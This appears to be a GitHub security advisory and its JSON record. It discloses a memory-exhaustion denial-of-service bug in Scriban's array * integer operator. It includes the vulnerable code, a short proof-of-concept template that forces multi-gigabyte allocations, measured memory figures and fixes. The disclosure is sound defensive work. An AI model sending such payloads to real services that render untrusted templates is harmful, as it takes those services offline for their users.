GHSA-Q6RR-FM2G-G5X8
Vulnerability from github – Published: 2026-06-26 21:01 – Updated: 2026-07-06 13:03Summary
The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.
This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.
This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.
Details
The array * int operator is handled in ScriptArray<T>.TryEvaluate:
// src/Scriban/Runtime/ScriptArray.cs:504-508 (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
newArray.AddRange(array);
}
intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:
-
No resource limit. Neither
new ScriptArray<T>(intModifier * array.Count)nor theAddRangeloop consultsLoopLimit,LimitToString, or callscontext.StepLoop(...). A grep of the entireTryEvaluatemethod (ScriptArray.cs:360-560) finds noStepLoop/LoopLimit/Limitreference.LoopLimit(default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error. -
Integer overflow in the capacity.
intModifier * array.Countis uncheckedintarithmetic. The overflow-safelongcast used by the string sibling is absent here.
The DoS-hardening passes guarded the two sibling operations but not this one:
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341 (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
&& (long)leftText.Length * value > context.LimitToString) // long arithmetic, pre-check
{
throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}
// src/Scriban/Functions/ArrayFunctions.cs:414 (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
context.StepLoop(span, ref loopStep); // LoopLimit enforced
array.Add(null);
}
array * int (ScriptArray.cs:504) received neither guard.
When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
throw new ScriptRuntimeException(span, ex.Message);
}
So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).
PoC
A single console project reproduces it on the released NuGet package.
poc.csproj:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Scriban" Version="7.2.0" />
</ItemGroup>
</Project>
Program.cs:
using Scriban;
// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";
System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render(); // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
+ System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
+ "MB elapsed=" + sw.ElapsedMilliseconds + "ms");
Run:
dotnet run -c Release
Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:
| Multiplier | template size | elements | peak working set |
|---|---|---|---|
| 100,000 | 38 B | 500K | 49 MB (not a DoS) |
| 50,000,000 | 40 B | 250M | 1,958 MB |
| 200,000,000 | 41 B | 1B | 7,681 MB |
| 400,000,000 | 41 B | 2B | 15,313 MB |
| 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |
LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).
Impact
- Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is
intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic. - Severity: CVSS 4.0
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N= 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalentAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H= 7.5 (High). - Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to
object.eval/object.eval_template. NoMemberFilterinteraction is required — this is a pure language operation. - Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a
ScriptRuntimeExceptionwrappingOutOfMemoryException(orArgumentOutOfRangeExceptionon the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification. - Why the existing mitigation does not help:
LoopLimit(default 1000) is the documented control for unbounded iteration/allocation, but thearray * intpath never consults it, so a defender running default configuration is not protected. - Affected versions: 3.0.0 – 7.2.0 (every release containing the
array * intoperator). 2.1.4 and earlier are not affected.
Suggested remediation
Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):
- Mirror
array.insert_at: callcontext.StepLoop(span, ref loopStep)inside the fill loop soLoopLimitis enforced; or - Mirror
string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g.if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity aslong(or reject negative/overflowing products) to remove the integer-overflow path.
Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.2.0"
},
"package": {
"ecosystem": "NuGet",
"name": "Scriban"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "7.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.2.0"
},
"package": {
"ecosystem": "NuGet",
"name": "Scriban.Signed"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "7.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T21:01:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe array multiplication operator (`array * integer`) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with **no `LoopLimit` / `LimitToString` check and no overflow-safe arithmetic**. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.\n\nThis is the unguarded sibling of operations that *were* hardened against the same class of abuse: `string * integer` (gated by a `LimitToString` pre-check), `array.insert_at` (gated by `StepLoop`/`LoopLimit` \u2014 the **GHSA-24c8-4792-22hx** fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by **GHSA-c875-h985-hvrc** (\"Built-in operations bypass LoopLimit\", fixed 7.0.0). The same `LoopLimit`-based hardening pattern was applied to those operations but never to `array * integer`.\n\nThis can be observed directly in 7.0.0, the release where GHSA-c875 was patched: `(1..5) * 50000000` (and `1..N | array.size`) correctly throws `Exceeding number of iteration limit \u00271000\u0027`, while `[1,2,3,4,5] * 50000000` allocates ~2 GB with no limit. The `LoopLimit` control is enforced on the iteration path but not on the `array * int` allocation path, side by side, in the same version. The bug has been present since the operator was introduced in **3.0.0**, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) \u2014 i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875\u0027s `LoopLimit` hardening.\n\n### Details\n\nThe `array * int` operator is handled in `ScriptArray\u003cT\u003e.TryEvaluate`:\n\n```csharp\n// src/Scriban/Runtime/ScriptArray.cs:504-508 (Multiply case)\nvar newArray = new ScriptArray\u003cT\u003e(intModifier * array.Count);\nfor (int i = 0; i \u003c intModifier; i++)\n{\n newArray.AddRange(array);\n}\n```\n\n`intModifier` is the attacker-supplied integer (`context.ToInt(...)`, `ScriptArray.cs:399`). Two problems:\n\n1. **No resource limit.** Neither `new ScriptArray\u003cT\u003e(intModifier * array.Count)` nor the `AddRange` loop consults `LoopLimit`, `LimitToString`, or calls `context.StepLoop(...)`. A grep of the entire `TryEvaluate` method (`ScriptArray.cs:360-560`) finds no `StepLoop` / `LoopLimit` / `Limit` reference. `LoopLimit` (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any \"iteration limit\" error.\n\n2. **Integer overflow in the capacity.** `intModifier * array.Count` is unchecked `int` arithmetic. The overflow-safe `long` cast used by the string sibling is absent here.\n\nThe DoS-hardening passes guarded the two sibling operations but not this one:\n\n```csharp\n// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341 (string * int \u2014 GUARDED)\nif (context.LimitToString \u003e 0 \u0026\u0026 value \u003e 0 \u0026\u0026 leftText.Length \u003e 0\n \u0026\u0026 (long)leftText.Length * value \u003e context.LimitToString) // long arithmetic, pre-check\n{\n throw new ScriptRuntimeException(spanMultiplier, $\"String multiplication exceeds LimitToString `{context.LimitToString}`.\");\n}\n```\n\n```csharp\n// src/Scriban/Functions/ArrayFunctions.cs:414 (array.insert_at \u2014 GUARDED, GHSA-24c8 fix in 7.2.0)\nfor (int i = array.Count; i \u003c index; i++)\n{\n context.StepLoop(span, ref loopStep); // LoopLimit enforced\n array.Add(null);\n}\n```\n\n`array * int` (`ScriptArray.cs:504`) received neither guard.\n\nWhen the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:\n\n```csharp\n// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243\ncatch (Exception ex) when (!(ex is ScriptRuntimeException))\n{\n throw new ScriptRuntimeException(span, ex.Message);\n}\n```\n\nSo a host that wraps `Render()` in `try/catch` sees a `ScriptRuntimeException` carrying the original `OutOfMemoryException` message (or `ArgumentOutOfRangeException` on the integer-overflow path).\n\n### PoC\n\nA single console project reproduces it on the released NuGet package.\n\n`poc.csproj`:\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n \u003cPropertyGroup\u003e\n \u003cOutputType\u003eExe\u003c/OutputType\u003e\n \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n \u003c!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --\u003e\n \u003c/PropertyGroup\u003e\n \u003cItemGroup\u003e\n \u003cPackageReference Include=\"Scriban\" Version=\"7.2.0\" /\u003e\n \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n```\n\n`Program.cs`:\n```csharp\nusing Scriban;\n\n// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements\nstring tpl = \"{{ x = [1,2,3,4,5] * 200000000; x.size }}\";\n\nSystem.Console.WriteLine(\"Rendering...\");\nvar sw = System.Diagnostics.Stopwatch.StartNew();\nvar result = Template.Parse(tpl).Render(); // allocates ~7.7 GB\nSystem.Console.WriteLine($\"size={result.Trim()} peakWS=\"\n + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)\n + \"MB elapsed=\" + sw.ElapsedMilliseconds + \"ms\");\n```\n\nRun:\n```sh\ndotnet run -c Release\n```\n\nMeasured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:\n\n| Multiplier | template size | elements | peak working set |\n|---|---|---|---|\n| 100,000 | 38 B | 500K | 49 MB (not a DoS) |\n| 50,000,000 | 40 B | 250M | 1,958 MB |\n| 200,000,000 | 41 B | 1B | 7,681 MB |\n| 400,000,000 | 41 B | 2B | 15,313 MB |\n| 429,496,730 | 41 B | \u2014 | integer overflow in `intModifier * array.Count` \u2192 wrapped `ArgumentOutOfRangeException` |\n\n`LoopLimit` (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no \"iteration limit\" error. Reproduced identically on released NuGet **6.6.0, 7.0.0, 7.1.0, and 7.2.0**, and on **3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8** (~2 GB at multiplier 50,000,000). Version **2.1.4 and earlier are NOT affected** \u2014 the operator did not exist (`Unable to convert type ScriptArray to int`).\n\n### Impact\n\n- **Type:** Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is `intModifier * array.Count`, attacker-controlled, with no limit and no overflow-safe arithmetic.\n- **Severity:** CVSS 4.0 `AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` = **8.7 (High)** \u2014 the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` = **7.5 (High)**.\n- **Who is impacted:** any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to `object.eval` / `object.eval_template`. No `MemberFilter` interaction is required \u2014 this is a pure language operation.\n- **Outcome (deployment-dependent, stated honestly):** On systems with sufficient memory, the runtime catches the allocation failure and the host sees a `ScriptRuntimeException` wrapping `OutOfMemoryException` (or `ArgumentOutOfRangeException` on the integer-overflow path) \u2014 recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC \u2014 a real per-request availability degradation and resource amplification.\n- **Why the existing mitigation does not help:** `LoopLimit` (default 1000) is the documented control for unbounded iteration/allocation, but the `array * int` path never consults it, so a defender running default configuration is not protected.\n- **Affected versions:** 3.0.0 \u2013 7.2.0 (every release containing the `array * int` operator). 2.1.4 and earlier are not affected.\n\n### Suggested remediation\n\nApply the same hardening already used on the sibling operations, in `ScriptArray.cs` (Multiply case, `:504-508`):\n\n- **Mirror `array.insert_at`:** call `context.StepLoop(span, ref loopStep)` inside the fill loop so `LoopLimit` is enforced; or\n- **Mirror `string * int`:** pre-check the result size with overflow-safe arithmetic before allocating, e.g. `if (context.LimitToString \u003e 0 \u0026\u0026 (long)intModifier * array.Count \u003e context.LimitToString) throw new ScriptRuntimeException(...)`, and compute the capacity as `long` (or reject negative/overflowing products) to remove the integer-overflow path.\n\nAdd a regression test that asserts a graceful `ScriptRuntimeException` for a large multiplier (e.g. `[1,2,3,4,5] * 50000000`) rather than allowing the allocation to proceed.",
"id": "GHSA-q6rr-fm2g-g5x8",
"modified": "2026-07-06T13:03:57Z",
"published": "2026-06-26T21:01:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scriban/scriban/security/advisories/GHSA-q6rr-fm2g-g5x8"
},
{
"type": "PACKAGE",
"url": "https://github.com/scriban/scriban"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Scriban: array * int (ScriptArray\u003cT\u003e.TryEvaluate) bypasses LoopLimit \u2014 incomplete fix for GHSA-c875-h985-hvrc, missed sibling of GHSA-24c8-4792-22hx"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.